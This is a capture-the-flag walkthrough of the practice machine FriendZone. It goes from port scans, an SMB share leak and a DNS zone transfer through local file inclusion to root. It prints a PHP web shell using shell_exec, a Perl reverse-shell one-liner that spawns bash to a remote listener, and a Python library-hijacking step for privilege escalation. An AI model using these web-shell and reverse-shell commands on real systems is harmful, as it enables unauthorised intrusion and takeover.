This post documents the complete walkthrough of FriendZone, a retired vulnerable VM created by askar, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post


FriendZone is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 --rate=1000

Starting masscan 1.0.4 ( at 2019-02-10 12:52:26 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 21/tcp on                                    
Discovered open port 22/tcp on                                    
Discovered open port 80/tcp on                                    
Discovered open port 137/udp on                                   
Discovered open port 53/udp on                                    
Discovered open port 53/tcp on
Discovered open port 443/tcp on
Discovered open port 445/tcp on                                   
Discovered open port 139/tcp on

Whoa! masscan finds seven open TCP ports. Let’s do one better with nmap scanning the discovered ports.

# nmap -n -v -Pn -p21,22,53,80,139,443,445 -A --reason -oN nmap.txt
21/tcp  open  ftp         syn-ack ttl 63 vsftpd 3.0.3
22/tcp  open  ssh         syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)
|   256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)
|_  256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)
53/tcp  open  domain      syn-ack ttl 63 ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp  open  http        syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Friend Zone Escape software
139/tcp open  netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open  ssl/http    syn-ack ttl 63 Apache httpd 2.4.29
| http-methods:
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 404 Not Found
| ssl-cert: Subject:
| Issuer:
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-10-05T21:02:30
| Not valid after:  2018-11-04T21:02:30
| MD5:   c144 1868 5e8b 468d fc7d 888b 1123 781c
|_SHA-1: 88d2 e8ee 1c2c dbd3 ea55 2e5e cdd4 e94c 4c8b 9233
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
|_  http/1.1
445/tcp open  netbios-ssn syn-ack ttl 63 Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Host script results:
|_clock-skew: mean: -39m58s, deviation: 1h09m15s, median: 0s
| nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   FRIENDZONE<00>       Flags: <unique><active>
|   FRIENDZONE<03>       Flags: <unique><active>
|   FRIENDZONE<20>       Flags: <unique><active>
|   WORKGROUP<00>        Flags: <group><active>
|_  WORKGROUP<1e>        Flags: <group><active>
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: friendzone
|   NetBIOS computer name: FRIENDZONE\x00
|   Domain name: \x00
|   FQDN: friendzone
|_  System time: 2019-02-11T15:20:34+02:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2019-02-11 13:20:34
|_  start_date: N/A

Jeez. There are so many services I don’t know where to start! Let’s start with SMB or Samba in this case. We can use null session to enumerate the shares like so.

Excellent. We have a couple of shares that we can explore.

Information Disclosure

Among the three shares, we can mount general and Development without any credentials.

# mount -t cifs -o username=guest,rw // ./general
# mount -t cifs -o username=guest,rw // ./development

In general, there’s a file creds.txt that looks like this.

Meanwhile, in Development, I can write files to it and it’s already crowded with files. I’m pretty sure these files weren’t there when the box was created. :smirk: Too bad the credential (admin:[email protected]#) can’t mount the Files share. I’ll just have to keep this in mind while I explore other services.

DNS Zone Transfer

Let’s turn our attention on the http service. This is how it looks like on the browser.


There’s our first clue. Recall the box runs a DNS service? The DNS server probably takes care of the zone? Let’s see if we can do a zone transfer on the box.

Awesome. Experience tells me I should put those subdomains into /etc/hosts.

# echo -e "\t$(host -l | grep "has address" | cut -d' ' -f1 | tr '\n' ' ')" >> /etc/hosts

But, wait. There’s another zone— exposed by the ssl/http service, discovered in our nmap scan.

Same thing. Put these subdomains to /etc/hosts.

# echo -e "\t$(host -l | grep "has address" | cut -d' ' -f1 | tr '\n' ' ')" >> /etc/hosts

In the Zone

The domain is a rabbit hole. Suffice to say, I’ve done my enumeration and it didn’t yield any useful results. Meanwhile, the domain is the real deal under https. Check this out.



Recall the credentials earlier? Perhaps it’ll work with this admin THING? :wink:

It worked!

Let’s do as told and visit /dashboard.php, shall we?

Looking at the hint on the page, I suspect a local file inclusion (LFI) vulnerability is in the cards. Let’s test it out.

I strongly suspect a timestamp.php page is present.

Ha Ha! An inexperienced developer. Now that I know a LFI vulnerability is present, I need a way to exploit it to read files. Enter PHP Filter.

Using the following filter, I was able to ignore another rabbit hole—the uploads page. I’m not even going to show the dashboard.php code. It’s not a pretty sight.


See? You are never going to upload anything.

  // not finished yet -- friendzone admin !
  if(isset($_POST["image"])) {
    echo "Uploaded successfully !<br>";
    echo time()+3600;
  } else{

Recall that I was able to write to Directory? Let’s write a small PHP file to prove that we are able to run PHP code.

# echo "<?php phpinfo(); ?>" > info.php

In the shares comment, Files was shown to be mapped to /etc/Files. By extension, Development should be mapped to /etc/Development.

Awesome. Now, let’s step up the game and write another small PHP file, that allows us to execute remote commands.

# echo '<?php echo shell_exec($_GET[0]); ?>' > cmd.php

Sweet. Time to get ourselves a Perl reverse shell.

Low-Privilege Shell

Here’s the Perl one-liner I use.

perl -e 'use Socket;$i="";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

Of course, it’s best to urlencode it to prevent complications in the browser’s address bar.

Better upgrade my shell to a full TTY.

Privilege Escalation

During enumeration of www-data’s account, I saw the credentials of friend lurking in /var/www/mysql_data.conf.

The funny thing is MySQL is not even running! Well, let’s su ourselves as friend.

The file user.txt is at friend’s home directory.

Moving on, I noticed two interesting pieces of information:

  • /usr/lib/python2.7/ is world-writable
  • /opt/server-admin/ imports the os module

I think I know where this is going: privilege escalation via python library hijacking. If I had to guess, I would say there’s a cron job running as root that executes /opt/server-admin/

Here’s the game plan.

First, I log it to friend via SSH. This is easy since I already have friend’s password. Then I scp a copy of over to the box with the following code appended.

import os, socket, pty
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

Two minutes later, a root shell appears in my nc listener.

Getting root.txt is trivial with a root shell.